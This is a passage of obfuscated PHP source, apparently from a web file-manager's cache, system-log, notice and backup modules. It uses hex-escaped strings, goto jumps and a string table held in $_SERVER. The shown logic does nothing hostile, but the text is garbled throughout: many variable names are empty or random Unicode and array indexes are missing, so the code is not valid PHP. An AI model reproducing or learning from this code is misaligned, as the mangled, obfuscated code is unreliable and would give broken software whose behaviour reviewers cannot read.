$ȗ¾ = self::key($); unset(self::$memoryCache[$ȗ¾]); self::clearTimeout(); CacheLock::lock($); $ = self::init()->remove($ȗ¾); CacheLock::unlock($); return $; } public static function removeMemory($н) { $Ҫ = self::key($н); unset(self::$memoryCache[$Ҫ]); } public static function clearMemory($Ɩ = false) { if ($Ɩ) { $Ɩ = self::key($Ɩ); unset(self::$memoryCache[$Ɩ]); return; } self::$memoryCache = null; self::$memoryCache = array(); } public static function deleteAll() { self::$memoryCache = array(); if (method_exists(self::init(), $_SERVER[][922])) { self::init()->deleteAll(); } } public static function clearTimeout() { if (method_exists(self::init(), $_SERVER[][923])) { self::init()->clearTimeout(); } } } class CacheFile { public $cachePath; public $prefix; public $cacheTime; public function __construct($䩔, $ૂ) { $Þ =& $_SERVER[]; $this->cachePath = $䩔[$Þ[97]]; $this->prefix = $Þ[924]; $this->cacheTime = $ૂ; if (!file_exists($this->cachePath)) { mkdir($this->cachePath, DEFAULT_PERRMISSIONS, !0); } } public function getFile($) { $ =& $_SERVER[]; $ = str_replace(array($[925], $[110], $[86]), $[926], $); return $this->cachePath . $[927] . $ . $[928]; } public function set($ν, $߬, $ٙ = false) { $ٙ = $ٙ ? $ٙ : $this->cacheTime; $Ƿ = $this->getFile($ν); if (file_put_contents($Ƿ, $this->prefix . $߬, LOCK_EX)) { @touch($Ƿ, intval(time() + $ٙ)); clearstatcache(); return !0; } @unlink($Ƿ); return !1; } public function get($郫) { $٣ = $this->getFile($郫); if (file_exists($٣) && filemtime($٣) < time()) { @unlink($٣); return !1; } $ = @file_get_contents($٣); return substr($, strlen($this->prefix)); } public function remove($Ԍ) { $Ћˠ = $this->getFile($Ԍ); return @unlink($Ћˠ); } public function deleteAll() { $ز =& $_SERVER[]; $͊ = scandir($this->cachePath); foreach ($͊ as $ʙ׍) { $ = $this->cachePath . $ʙ׍; if (strpos($, $ز[928]) && strpos($, $ز[929])) { @unlink($); } } } public function clearTimeout() { $ =& $_SERVER[]; $գ۾ = scandir($this->cachePath); foreach ($գ۾ as $ӈ) { $ںɊ = $this->cachePath . $ӈ; if (strpos($ںɊ, $[928]) && strpos($ںɊ, $[929]) && filemtime($ںɊ) < time()) { @unlink($ںɊ); } } } } goto BŠ; D: class SystemLightAppModel extends ModelBaseLight { public $optionType = "\123\x79\x73\x74\x65\155\x2e\114\x69\147\150\x74\x41\x70\160"; public $modelType = "\123\x79\163\164\x65\155\117\x70\x74\x69\x6f\x6e"; public $field = array("\156\x61\155\145", "\147\x72\157\x75\x70", "\x64\x65\163\143", "\x63\157\156\164\145\156\164"); public function listData($ = false, $죣 = "\155\157\144\x69\146\x79\124\151\x6d\145", $Η = true) { return parent::listData($, $죣, $Η); } public function remove($ǔЕ) { $ = $this->findByName($ǔЕ); if (!$) { return !1; } return parent::remove($[$_SERVER[][484]]); } public function add($ƕ) { if ($this->findByName($ƕ[$_SERVER[][32]])) { return !1; } return parent::insert($ƕ); } public function update($Ā, $瘍Ò) { $ӄ =& $_SERVER[]; $ = $this->findByName($Ā); $ = $this->findByName($瘍Ò[$ӄ[32]]); if (!$ || $ && $[$ӄ[484]] != $[$ӄ[484]]) { return !1; } return parent::update($[$ӄ[484]], $瘍Ò); } } class SystemLogModel extends ModelBase { protected $tableName = "\x73\171\163\164\x65\155\137\x6c\x6f\147"; protected $dataAuto = array(array("\x63\162\x65\x61\164\145\124\151\x6d\145", "\164\x69\x6d\x65", "\x69\156\163\145\x72\x74", "\146\x75\x6e\x63\x74\151\x6f\156")); public $typeList; function __construct() { parent::__construct(); $this->typeList = $this->typeListAll(); } public function typeListAll() { $҃ =& $_SERVER[]; return array($҃[2338] => LNG($҃[2339]), $҃[2340] => LNG($҃[2341]), $҃[1920] => LNG($҃[2342]), $҃[2343] => LNG($҃[2344]), $҃[2345] => LNG($҃[2346]), $҃[2347] => LNG($҃[2348]), $҃[2349] => LNG($҃[2350]), $҃[1950] => LNG($҃[2350]), $҃[1951] => LNG($҃[2351]), $҃[2352] => LNG($҃[2353]), $҃[2354] => LNG($҃[2355]), $҃[2356] => LNG($҃[2357]), $҃[2358] => LNG($҃[2359]), $҃[1948] => LNG($҃[2360]), $҃[2361] => LNG($҃[2362]), $҃[1955] => LNG($҃[2363]), $҃[2364] => LNG($҃[2365]), $҃[2366] => LNG($҃[2367]), $҃[2368] => LNG($҃[2369]), $҃[2370] => LNG($҃[2371]), $҃[1958] => LNG($҃[2372]), $҃[1959] => LNG($҃[2373]), $҃[2374] => LNG($҃[2375]), $҃[2376] => LNG($҃[2377]), $҃[2378] => LNG($҃[2379]), $҃[1953] => LNG($҃[2380]), $҃[2381] => LNG($҃[2382]), $҃[1952] => LNG($҃[2383]), $҃[2384] => LNG($҃[2385]), $҃[2386] => LNG($҃[2387]), $҃[2388] => LNG($҃[2387]), $҃[2389] => LNG($҃[2390]), $҃[2391] => LNG($҃[2391]), $҃[2392] => LNG($҃[1924]), $҃[2393] => LNG($҃[2394]), $҃[2395] => LNG($҃[2396]), $҃[2397] => LNG($҃[2398]), $҃[2399] => LNG($҃[2400]), $҃[2401] => LNG($҃[2402]), $҃[2403] => LNG($҃[2403]), $҃[2404] => LNG($҃[2405]), $҃[2406] => LNG($҃[2407]), $҃[2408] => LNG($҃[2409]), $҃[2410] => LNG($҃[2411]), $҃[2412] => LNG($҃[2413]), $҃[2414] => LNG($҃[2415]), $҃[222] => LNG($҃[222]), $҃[223] => LNG($҃[2416]), $҃[2417] => LNG($҃[2417])); } private function typeFile() { $ӱ̎ =& $_SERVER[]; $Ǟ獜 = array($ӱ̎[1955] => array($ӱ̎[1956]), $ӱ̎[2356] => array($ӱ̎[2418]), $ӱ̎[2358] => array($ӱ̎[2419]), $ӱ̎[1948] => array($ӱ̎[1949], $ӱ̎[2420]), $ӱ̎[2366] => array(), $ӱ̎[2368] => array(), $ӱ̎[2370] => array(), $ӱ̎[1958] => array($ӱ̎[1960]), $ӱ̎[1959] => array($ӱ̎[1960]), $ӱ̎[2374] => array($ӱ̎[2421]), $ӱ̎[2376] => array($ӱ̎[2421]), $ӱ̎[2378] => array($ӱ̎[2422]), $ӱ̎[2364] => array($ӱ̎[2423]), $ӱ̎[1953] => array($ӱ̎[2424]), $ӱ̎[2381] => array($ӱ̎[2425]), $ӱ̎[1952] => array($ӱ̎[1954])); return $Ǟ獜; } private function typeAll() { $Ӻ =& $_SERVER[]; $ɛۖ = $this->typeList; $݅ = array_filter($this->typeFile()); foreach ($݅ as $Ţ => $ֿ) { $ɛۖ[$ֿ[0]] = $ɛۖ[$Ţ]; } $ɛۖ[$Ӻ[1960]] = LNG($Ӻ[2426]); $ɛۖ[$Ӻ[2421]] = LNG($Ӻ[2427]); return $ɛۖ; } public function addLog($ϠŸ, $ó = array()) { $ =& $_SERVER[]; if (!isset($this->typeList[$ϠŸ])) { return; } $Ν = Session::get($[2119]); if (!$Ν) { $Ν = _get($ó, $[1779], 0); } if ($ϠŸ == $[2393] && is_array($ó[$[2428]]) && !$ó[$[2428]]) { return; } $Ŭ = get_client_ip(); if (!$ó || strlen(json_encode($ó)) >= 1024 * 64) { if ($ó && is_array($ó)) { $ó = array_intersect_key($ó, array_flip($[484], $[32])); $ó[$[2429]] = $Ŭ; } else { $ó = array($[2429] => $Ŭ); } } else { if (is_array($ó)) { $ó[$[2429]] = $Ŭ; } else { $ó = array($[1298] => $ó, $[2429] => $Ŭ); } } $ó = array($[1769] => Session::sign(), $[1770] => intval($Ν), $[33] => $ϠŸ, $[1772] => json_encode($ó)); parent::add($ó); } public function remove($ԍ) { $this->where(array($_SERVER[][502] => $ԍ))->delete(); } private function _makeOrder($ = '') { $ۄ =& $_SERVER[]; $ғ = $ۄ[241]; $隊 = array($ۄ[532] => $ۄ[533], $ۄ[534] => $ۄ[535]); $Ť = Input::get($ۄ[540], $ۄ[7], $ۄ[2155], array($ۄ[2073], $ۄ[534])); $Ť = $隊[$Ť]; $ = $ . "{$ғ}\x20{$Ť}"; return $this->order($); } public function get($׺ = '') { $ =& $_SERVER[]; if (!$׺) { show_json(array()); } $ = array(); if ($׺[$[1779]]) { $[$[1779]] = $׺[$[1779]]; } if (isset($׺[$[849]])) { $י = $׺[$[849]]; $ʤ = isset($׺[$[850]]) ? $׺[$[850]] : time(); $[$[241]] = array($[418], array($י, $ʤ)); } if ($׺[$[33]]) { $ʅ = explode($[50], $׺[$[33]]); $ɨ = $this->typeFile(); $̎謡 = array(); foreach ($ʅ as $̙) { $̎謡[] = $̙; if (isset($ɨ[$̙])) { $̎謡 = array_merge($̎謡, $ɨ[$̙]); } } $̎謡 = array_unique($̎謡); if ($̎謡) { $[$[33]] = array($[7], $̎謡); } } else { $[$[33]] = array($[2430], $[2431]); } if (!empty($׺[$[2429]])) { $[$[535]] = array($[468], "\x25{$׺[$[2429]]}\x25"); } $LJƘ = $this->_makeOrder()->where($)->selectPage(); if (empty($LJƘ[$[454]])) { show_json(array(), !0, $LJƘ[$[451]]); } $LJƘ[$[454]] = $this->logList($LJƘ[$[454]]); return $LJƘ; } private function ipAddress(&$϶) { $Ӿ =& $_SERVER[]; if (!empty($϶[$Ӿ[2429]])) { $տ = IpLocation::get($϶[$Ӿ[2429]]); } else { $տ = LNG($Ӿ[2432]); } $϶[$Ӿ[2433]] = $տ; } private function descZipDownload($, &$) { $怑 =& $_SERVER[]; if (!isset($[$怑[2434]])) { return; } $ = json_decode($[$怑[2434]], !0); foreach ($ as $) { try { $ = IO::infoFullSimple($[$怑[97]]); } catch (Exception $Հ) { continue; } $[$怑[97]] = $[$怑[97]]; $[] = $[$怑[203]] = $[$怑[203]]; $[] = $[$怑[2211]] = $[$怑[202]]; break; } return $; } private function getSourceList(&$ρ͑) { $ө =& $_SERVER[]; $ = array(); foreach ($ρ͑ as $ݮ => $) { $ߖ = json_decode($[$ө[535]], !0); if ($[$ө[33]] == $ө[1951]) { $ߖ = $this->descZipDownload($ߖ, $); $ρ͑[$ݮ][$ө[535]] = json_encode($ߖ); continue; } if (strpos($[$ө[33]], $ө[2213]) !== 0) { if (!isset($ߖ[$ө[97]]) || strpos($[$ө[33]], $ө[2435]) !== 0) { continue; } try { $ź = IO::infoFullSimple($ߖ[$ө[97]]); } catch (Exception $Ůڭ) { continue; } $[] = $ߖ[$ө[203]] = $ź[$ө[203]]; $[] = $ߖ[$ө[2211]] = $ź[$ө[202]]; $ρ͑[$ݮ][$ө[535]] = json_encode($ߖ); continue; } $[] = $ߖ[$ө[203]]; $[] = $ߖ[$ө[2211]]; if ($ߖ[$ө[33]] == $ө[629]) { $[] = $ߖ[$ө[535]][$ө[1252]]; $[] = $ߖ[$ө[535]][$ө[1253]]; } if ($ߖ[$ө[33]] == $ө[2222]) { $[] = $ߖ[$ө[535]][$ө[203]]; } } if (!$) { return array(); } return Model($ө[914])->sourceListInfo($, !0); } private function logList($) { $‘ =& $_SERVER[]; $뾂Զ = array_to_keyvalue($, $‘[12], $‘[1779]); $˂ = Model($‘[607])->userListInfo(array_unique($뾂Զ)); $ = $this->getSourceList($); $ʁ = $this->typeAll(); $ = array(); $ = array(); foreach ($ as $ => $Ը) { $ʾ = $Ը[$‘[33]]; $ = isset($˂[$Ը[$‘[1779]]]) ? $˂[$Ը[$‘[1779]]] : !1; $ = strpos($ʾ, $‘[2436]) === 0 ? LNG($‘[2437]) : LNG($‘[2432]); $Ը[$‘[32]] = isset($[$‘[32]]) ? $[$‘[32]] : LNG($‘[2432]); $Ը[$‘[2266]] = isset($[$‘[2266]]) ? $[$‘[2266]] : $‘[12]; $Ը[$‘[1668]] = isset($ʁ[$ʾ]) ? $ʁ[$ʾ] : $; $Ը[$‘[2154]] = $; $ً = json_decode($Ը[$‘[535]], !0); $Ը[$‘[2429]] = isset($ً[$‘[2429]]) ? $ً[$‘[2429]] : $‘[12]; $Ը[$‘[2433]] = IpLocation::get($Ը[$‘[2429]]); if (strpos($ʾ, $‘[2213]) === 0 || isset($ً[$‘[2211]])) { $ً[$‘[100]] = $[$ً[$‘[203]]]; $ً[$‘[2227]] = $[$ً[$‘[2211]]]; if ($ً[$‘[33]] == $‘[629]) { $ً[$‘[535]][$‘[1252]] = $[$ً[$‘[535]][$‘[1252]]]; $ً[$‘[535]][$‘[1253]] = $[$ً[$‘[535]][$‘[1253]]]; } if ($ً[$‘[33]] == $‘[2222]) { $ً[$‘[535]][$‘[203]] = $[$ً[$‘[535]][$‘[203]]]; } if ($ً[$‘[33]] == $‘[1946]) { $ً[$‘[2227]] = $ً[$‘[100]]; $ً[$‘[2211]] = $ً[$‘[2227]][$‘[203]]; $ً[$‘[100]] = !1; $ً[$‘[203]] = $‘[12]; } $ɵ = array($‘[1946], $‘[2209]); if (!in_array($ً[$‘[33]], $ɵ)) { if ($ً[$‘[100]] && $ً[$‘[100]][$‘[200]] == $‘[201]) { $[] = $Ը[$‘[484]]; unset($[$]); continue; } if ($ً[$‘[2227]] && $ً[$‘[2227]][$‘[200]] == $‘[201]) { $[] = $Ը[$‘[484]]; unset($[$]); continue; } } } $Ը[$‘[535]] = $ً; unset($Ը[$‘[2438]]); $[] = $Ը; } $this->clearSystemPathLog($); return $; } private function clearSystemPathLog($˱) { $Ƈ =& $_SERVER[]; if (count($˱) == 0) { return; } $ς = array($Ƈ[484] => array($Ƈ[7], array_unique($˱))); $this->where($ς)->delete(); } public function deviceList($ꦇ, $݆ = 0) { $ݴ =& $_SERVER[]; $﷣ = array($ݴ[1779] => $ꦇ, $ݴ[241] => array($ݴ[1103], $݆), $ݴ[33] => $ݴ[1920]); $Ȭ = array(); $ = $this->field($ݴ[2439])->where($﷣)->order($ݴ[2225])->limit(50)->select(); foreach ($ as $ => $) { if ($ > 0 && abs($[$ݴ[241]] - $[$ - 1][$ݴ[241]]) < 5) { continue; } $Ɛ = json_decode($[$ݴ[535]], !0); $[$ݴ[2429]] = isset($Ɛ[$ݴ[2429]]) ? $Ɛ[$ݴ[2429]] : $ݴ[12]; unset($Ɛ[$ݴ[2429]]); $ = $this->deviceType($Ɛ[$ݴ[2214]]); if (isset($Ȭ[$])) { continue; } $[$ݴ[2433]] = IpLocation::get($[$ݴ[2429]]); $[$ݴ[535]] = $Ɛ; $Ȭ[$] = $; } return array_values($Ȭ); } public function deviceType($) { return $; } } class SystemNoticeModel extends ModelBaseLight { public $optionType = "\x53\x79\163\x74\x65\x6d\56\156\x6f\x74\151\143\x65\x4c\151\x73\x74"; public $field = array("\156\141\x6d\x65", "\143\x6f\x6e\164\x65\x6e\164", "\x61\165\164\x68", "\155\157\x64\x65", "\164\x69\x6d\145", "\164\171\x70\145", "\154\x65\166\x65\154", "\145\156\x61\142\x6c\145", "\163\157\x72\x74"); public function listData($ = false, $ = "\163\x6f\162\x74", $ = false) { return parent::listData($, $, $); } public function add($ߠȎ) { $ =& $_SERVER[]; $ = time(); if ($ߠȎ[$[16]] == $[2440]) { $ = strtotime($ߠȎ[$[216]]); } $ߠȎ[$[216]] = $; return parent::insert($ߠȎ); } public function update($֣, $鼮) { $қ =& $_SERVER[]; $ϑ҃ = $this->listData($֣); if (!$ϑ҃) { return !1; } $ = time(); if ($鼮[$қ[16]] == $қ[2440]) { $ = strtotime($鼮[$қ[216]]); } $鼮[$қ[216]] = $; return parent::update($֣, $鼮); } public function remove($Ŷ) { $א = $this->listData($Ŷ); if (!$א || $א[$_SERVER[][201]]) { return !1; } return parent::remove($Ŷ); } public function sort($, $) { return parent::update($, $); } public function enable($Կ, $) { return parent::update($Կ, array($_SERVER[][2441] => $)); } private function initUserOption() { $Þؚ =& $_SERVER[]; $this->optionType = $Þؚ[2442]; $this->modelType = $Þؚ[2443]; $this->field = array($Þؚ[2444], $Þؚ[32], $Þؚ[216], $Þؚ[33], $Þؚ[2445], $Þؚ[839], $Þؚ[236]); } public function userNoticeGet($Ƹ = false) { $this->initUserOption(); return parent::listData($Ƹ, $_SERVER[][484], !0); } public function userNoticeAdd($ű) { $ΰ =& $_SERVER[]; $this->initUserOption(); $ş = $this->findByKey($ΰ[2444], $ű[$ΰ[484]]); if ($ş) { return !0; } $߃ = array($ΰ[2444] => $ű[$ΰ[484]], $ΰ[32] => $ű[$ΰ[32]], $ΰ[216] => $ű[$ΰ[216]], $ΰ[33] => isset($ű[$ΰ[33]]) ? $ű[$ΰ[33]] : 1, $ΰ[2445] => isset($ű[$ΰ[2445]]) ? $ű[$ΰ[2445]] : 0, $ΰ[839] => 0, $ΰ[236] => 0); return parent::insert($߃); } public function userNoticeEdit($Ε, $) { $this->initUserOption(); return parent::update($Ε, $); } } goto E֝ߦԄ; aܪ: class Backup { protected static $name; protected static $option; protected static $manual; public function __construct() { $this->model = Model($_SERVER[][837]); $this->init(); $this->keep(); } public function init() { $ʀ̉ =& $_SERVER[]; $this->isManual(); self::$name = date($ʀ̉[838]); if (!($ = $this->model->lastItem())) { $ = $this->initData(); } else { self::$name = $[$ʀ̉[32]]; if ($[$ʀ̉[839]] == $ʀ̉[101]) { self::$name = date($ʀ̉[281]); $ٸƧ = intval(_get($, $ʀ̉[840], 0)); if (self::$manual == 0 && $[$ʀ̉[32]] == self::$name) { $this->model->remove($[$ʀ̉[484]]); } $ = $this->initData($ٸƧ, $[$ʀ̉[841]]); } else { $this->checkStore($[$ʀ̉[841]]); } } self::$option = $; } private function isManual() { $ᡙ = _get($GLOBALS, $_SERVER[][842], 0); $ᡙ = intval($ᡙ); self::$manual = $ᡙ && $ᡙ == 1 ? 1 : 0; } private function initData($ = 0, $Ѳ = '') { $⚔ =& $_SERVER[]; $ڼ = $this->model->config(); if ($Ѳ && $ڼ[$⚔[841]] != $Ѳ) { $ = 0; } $this->checkStore($ڼ[$⚔[841]]); if (self::$manual == 1) { self::$name .= $⚔[11] . date($⚔[843]); } $ = array($⚔[841] => $ڼ[$⚔[841]], $⚔[32] => self::$name, $⚔[839] => 0, $⚔[181] => $ڼ[$⚔[181]], $⚔[844] => self::$manual, $⚔[378] => array($⚔[845] => array($⚔[839] => 0), $⚔[846] => array($⚔[839] => 0, $⚔[847] => 0, $⚔[848] => 0, $⚔[33] => $⚔[12], $⚔[849] => 0, $⚔[850] => 0), $⚔[851] => array($⚔[839] => 0, $⚔[847] => 0, $⚔[848] => 0, $⚔[849] => 0, $⚔[850] => 0), $⚔[240] => array($⚔[839] => 0, $⚔[852] => 0, $⚔[853] => 0, $⚔[854] => 0, $⚔[855] => 0, $⚔[550] => $, $⚔[849] => 0, $⚔[850] => 0)), $⚔[849] => time(), $⚔[850] => 0); $ = $this->model->insert($); $[$⚔[484]] = $; return $; } private function checkStore($癅) { $ = Model($_SERVER[][856]); $ʗᯗ = $->listData($癅); $->checkConfig($ʗᯗ); } public static function get() { if (!self::$option) { $ިÜ = Model($_SERVER[][837]); $ = $ިÜ->findByName(self::$name); $ިÜ->parseContent($); self::$option = $; } return self::$option; } public static function set($) { $ =& $_SERVER[]; $Ժ杺 = self::get(); foreach ($ as $ => $ם) { array_set_value($Ժ杺, $, $ם); } Model($[837])->update($Ժ杺[$[484]], $Ժ杺); self::$option = $Ժ杺; return self::$option; } public function keep() { $⋞ =& $_SERVER[]; $ӽ֕ = self::get(); if (_get($ӽ֕, $⋞[857], 0) == $⋞[101]) { return; } $this->backupKeep($ӽ֕); self::set(array($⋞[857] => 1)); } private function backupKeep($) { $ӗ =& $_SERVER[]; if (self::$manual == 1) { return; } $䆯 = $this->model->listData(); if (empty($䆯)) { return; } $̕ = 0; $ = array(); foreach ($䆯 as $ѥ) { if ($̕ >= 7) { break; } $[] = $ѥ[$ӗ[32]]; $̕++; } for ($̕ = 0; $̕ < 12; $̕++) { $[] = date($ӗ[858], strtotime("\x2d{$̕}\x20\155\x6f\156\164\x68\x73")); } $ = array_unique($); $ģ = Model($ӗ[859])->get($ӗ[860]); foreach ($䆯 as $ѥ) { if (isset($ѥ[$ӗ[844]]) && $ѥ[$ӗ[844]] == $ӗ[101]) { continue; } if (!empty($ѥ[$ӗ[32]]) && in_array($ѥ[$ӗ[32]], $)) { continue; } $this->model->remove($ѥ[$ӗ[484]]); $ = $this->backupPath($, $ģ); IO::remove($, !1); } } private function backupPath($ȿ, $Ԍ = false) { $׀ =& $_SERVER[]; if (!$Ԍ) { $Ԍ = Model($׀[859])->get($׀[860]); } $͛ = $ȿ[$׀[32]]; $ = substr(md5($׀[861] . $Ԍ . $͛), 0, 8); return "\173\x69\x6f\x3a{$ȿ[$׀[841]]}\175\x2f\144\141\164\141\142\x61\163\145\57\x62\x61\x63\153\165\160\57" . $͛ . $׀[11] . $; } public function db() { $ =& $_SERVER[]; $ = self::get(); if (_get($, $[862], 0) == $[101]) { return !0; } $ċ = new BackupDb(); if (!$ċ->index()) { return !1; } self::set(array($[862] => 1)); return !0; } public function dbFile() { $鈮 =& $_SERVER[]; $ = self::get(); if (_get($, $鈮[863], 0) == $鈮[101]) { return !0; } $ς = new BackupDbFile(); if (!$ς->index()) { return !1; } self::set(array($鈮[863] => 1)); return !0; } public function file() { $ە =& $_SERVER[]; $ٸ = self::get(); if (_get($ٸ, $ە[864], 0) == $ە[101]) { return !0; } if ($ٸ[$ە[181]] == $ە[865]) { $ِNJ = new BackupFile(); if (!$ِNJ->index()) { return !1; } } self::set(array($ە[864] => 1, $ە[839] => 1)); return !0; } } class BackupDb { protected static $io; protected static $name; public function __construct() { } public function index() { $ӫ =& $_SERVER[]; $ǩ = Backup::get(); self::$io = $ǩ[$ӫ[841]]; self::$name = $ǩ[$ӫ[32]]; $Ř = new DbManage(); $ = $Ř->dbType(); $” = array($ӫ[866] => $, $ӫ[867] => time()); Backup::set($”); $ = $this->tmpFilesPath() . $ӫ[868] . self::$name . $ӫ[8]; del_dir($); mk_dir($); $ڌ = $耞 = 0; try { $Թ = $Ř->db()->getTables(); } catch (Exception $Ů) { return !1; } $Թ = array_diff($Թ, array($ӫ[869], $ӫ[870])); foreach ($Թ as $߈) { $ڌ += $Ř->model($߈)->count(); } $ޓ = new Task($ӫ[871], $ӫ[872], $ڌ, LNG($ӫ[873]) . $ӫ[874] . LNG($ӫ[875])); $GLOBALS[$ӫ[876]] = self::$name; foreach ($Թ as $߈) { $͇ = $ . $߈ . $ӫ[877]; $Ϭ = null; if ($߈ == $ӫ[878] && (!isset($ǩ[$ӫ[181]]) || $ǩ[$ӫ[181]] == $ӫ[238])) { $Ϭ = self::$io; } $耞 += $Ř->sqlFromDb($߈, $͇, $ޓ, $Ϭ); } unset($GLOBALS[$ӫ[876]]); $ޓ->end(); if ($耞 > $ڌ) { $ڌ = $耞; } $” = array($ӫ[866] => $, $ӫ[862] => 1, $ӫ[879] => $ڌ, $ӫ[880] => $耞, $ӫ[881] => time()); Backup::set($”); if ($ڌ - $耞 > 0) { $ = $ӫ[882]; if (!stristr(I18n::getType(), $ӫ[883])) { $ = $ӫ[884]; } write_log(array($, $”), $ӫ[872]); return !1; } return !0; } private function tmpFilesPath() { $ =& $_SERVER[]; $ = TEMP_FILES; if ($GLOBALS[$[6]][$[102]][$[885]]) { $ = $GLOBALS[$[6]][$[102]][$[885]]; if (!mk_dir($) || !is_writable($) || !IO::mkfile($ . $[886])) { $ = TEMP_FILES; } } return $; } } $_file = $_SERVER[$_SERVER[][69]]; goto E; b: class ModelBase extends Model { const SQL_WHERE_IN_CHUNK = 2000; protected $dataAuto = array(array("\155\157\x64\151\146\x79\x54\151\155\145", "\164\x69\155\x65", "\x69\156\163\145\162\x74\x2c\x75\160\144\141\x74\x65", "\x66\x75\156\x63\x74\x69\157\x6e"), array("\143\162\x65\x61\x74\x65\x54\x69\155\x65", "\x74\151\x6d\x65", "\151\x6e\163\145\x72\x74", "\146\x75\x6e\x63\164\x69\157\x6e")); public function setDataAuto($ܼ) { $this->dataAuto = $ܼ; } public function __construct($ = '', $ = '', $槦 = '') { parent::__construct($, $, $槦); } protected $tableMeta = array(); protected function _beforeInsert(&$雯, $إ) { $ˡ =& $_SERVER[]; if (!$this->checkDataAutoHas($ˡ[440])) { return; } $this->dataBeforeFilter($雯, $ˡ[440]); } protected function _beforeUpdate(&$ܦ, $) { $ܹ =& $_SERVER[]; if (!$this->checkDataAutoHas($ܹ[441])) { return; } $this->dataBeforeFilter($ܦ, $ܹ[441]); } protected function _afterSelect(&$٩, $⍚) { if (!is_array($٩)) { return; } if (!$this->checkDataAutoHas($_SERVER[][442])) { return; } foreach ($٩ as &$ؗ) { $this->dataAfterFilter($ؗ); } unset($ؗ); } protected function _afterFind(&$˻, $) { if (!is_array($˻)) { return; } if (!$this->checkDataAutoHas($_SERVER[][442])) { return; } $this->dataAfterFilter($˻); } public static function textEncode($) { if (!$) { return $; } $ = json_encode($); $ = preg_replace_callback($_SERVER[][443], function ($) { return addslashes($[0]); }, $); return json_decode($); } public static function textDecode($Ƿ) { $۫ =& $_SERVER[]; $ܡ = json_encode($Ƿ); $ܡ = preg_replace_callback($۫[444], function ($з) { return $_SERVER[][110]; }, $ܡ); return json_decode($ܡ); } public function setAutoIncrement($󃲌) { $ʭ = array($this->getPk() => $󃲌); $־ = $this->data($ʭ)->add(); if ($־) { $this->delete($־); } } public function getAutoIncrement() { $۔ = $this->getTableName(); $ޝ = $this->max($this->getPk()); $ꄡ = $this->query("\163\150\x6f\167\40\164\x61\x62\154\x65\40\163\164\141\164\x75\163\40\x77\150\x65\162\x65\x20\116\141\155\x65\75\x27{$۔}\47"); $ = $ꄡ[0][$_SERVER[][445]]; $ = max($ޝ, $); return $; } protected function _callBefore($ե, $) { return $this->cacheCallCheck($ե, $, !1); } protected function _callAfter($ê, $и) { return $this->cacheCallCheck($ê, $и, !0); } protected function cacheFunctionAlias($) { return !1; } public function cacheMemory() { return $this->cache(null, 0); } protected function cacheCallCheck($ـ, $, $Ղ = false) { $ب = $this->cacheFunctionAlias($); if (!$ب) { return; } foreach ($ب as $ => $) { $Ε = $[0]; $ț = explode($_SERVER[][50], $[1]); if ($ـ == $) { return $this->cacheFunctionGet($, $Ε); } if ($Ղ && in_array($ـ, $ț)) { $this->cacheFunctionClear($, $Ε); } } } public function cacheFunctionGet($ҁ۲, $Ȑ) { $Ҧ = $this->cacheKeyMake($ҁ۲, $Ȑ); $څ = Cache::get($Ҧ); if (!is_array($څ)) { $څ = call_user_func_array(array($this, $ҁ۲), array($Ȑ, !0)); Cache::set($Ҧ, $څ); } return $څ; } public function cacheFunctionClear($, $Æ) { $촡 = $Æ; if (!is_array($Æ)) { $촡 = array($Æ); } foreach ($촡 as $̤) { $ = $this->cacheKeyMake($, $̤); Cache::remove($); } } private function cacheKeyMake($, $) { $ =& $_SERVER[]; return get_class($this) . $[11] . $ . $[446] . $; } protected function selectPageReset() { $ń =& $_SERVER[]; if (isset($GLOBALS[$ń[447]])) { return; } $GLOBALS[$ń[447]] = isset($GLOBALS[$ń[7]][$ń[448]]) ? $GLOBALS[$ń[7]][$ń[448]] : !1; $GLOBALS[$ń[449]] = isset($GLOBALS[$ń[7]][$ń[438]]) ? $GLOBALS[$ń[7]][$ń[438]] : !1; $GLOBALS[$ń[7]][$ń[448]] = !1; $GLOBALS[$ń[7]][$ń[438]] = !1; } protected function selectPageRestore() { $ =& $_SERVER[]; if (!isset($GLOBALS[$[447]])) { return; } $GLOBALS[$[7]][$[448]] = $GLOBALS[$[447]]; $GLOBALS[$[7]][$[438]] = $GLOBALS[$[449]]; if ($GLOBALS[$[7]][$[448]] === !1) { unset($GLOBALS[$[7]][$[448]]); } if ($GLOBALS[$[7]][$[438]] === !1) { unset($GLOBALS[$[7]][$[438]]); } unset($GLOBALS[$[447]]); unset($GLOBALS[$[449]]); } protected function selectPage($إ = 200, $ = 1) { $ =& $_SERVER[]; global $in; $٨Ů = $this->optionsValue(); $ = 50000; $إ = isset($in[$[448]]) && $in[$[448]] ? $in[$[448]] : $إ; if ($إ === -1) { $in[$[448]] = !1; $ = 100000000; $إ = $; } $Ȯ = $٨Ů; $Ȯ[$[450]] = array(); $إ = intval($إ); $إ = $إ <= 5 ? 5 : ($إ >= $ ? $ : $إ); $ = intval(isset($in[$[438]]) && $in[$[438]] ? $in[$[438]] : $); $ = $ <= 1 ? 1 : $; $ = array(); $ = 1; if ($ == 1 && $) { $this->optionsValue($٨Ů); $ = $this->page($, $إ)->select(); $ѻ = is_array($) ? count($) : 0; if ($ѻ < $إ) { $Ť = 1; } else { $this->optionsValue($Ȯ); $ѻ = intval($this->count()); $Ť = ceil($ѻ / $إ); } } else { $this->optionsValue($Ȯ); $ѻ = intval($this->count()); $Ť = ceil($ѻ / $إ); $ = $ >= $Ť ? $Ť : $; $this->optionsValue($٨Ů); $ = $this->page($, $إ)->select(); } if (!is_array($)) { $ = array(); } if ($Ť == 1) { $ѻ = count($); } $ = array($[451] => array($[452] => $ѻ, $[448] => $إ, $[438] => $, $[453] => $Ť), $[454] => $); return $; } protected function checkLength($ȵ, $媴 = 0, $ = '') { $ =& $_SERVER[]; $媴 = $媴 ? $媴 : 65536; if (!$ȵ || strlen($ȵ) < $媴) { return; } $ = $ ? $ . $[84] : $[12]; show_json($ . LNG($[455]) . "\x28{$媴}\51", !1); } protected function metaSet($ς, $ = null, $Գ = null) { $ =& $_SERVER[]; if (!$this->tableMeta || !$ς) { return !1; } $Ұ = $this->tableMeta[$[456]]; $ё = $this->tableMeta[$[457]]; $ = Model($ё); $ = array($Ұ => $ς, $[458] => $); if (is_null($)) { return $->where(array($Ұ => $ς))->delete(); } if (is_null($Գ) && is_string($)) { return $->where($)->delete(); } $ = is_array($) ? $ : array(); if (is_string($)) { $[$] = $Գ; } $Ȁӥ = array(); foreach ($ as $О => $Ԃ) { if (is_null($Ԃ) && is_string($О)) { $->where(array($Ұ => $ς, $[458] => $О))->delete(); continue; } $this->checkLength($Ԃ, !1, $ё . $[4] . $О); $Ȁӥ[] = array($Ұ => $ς, 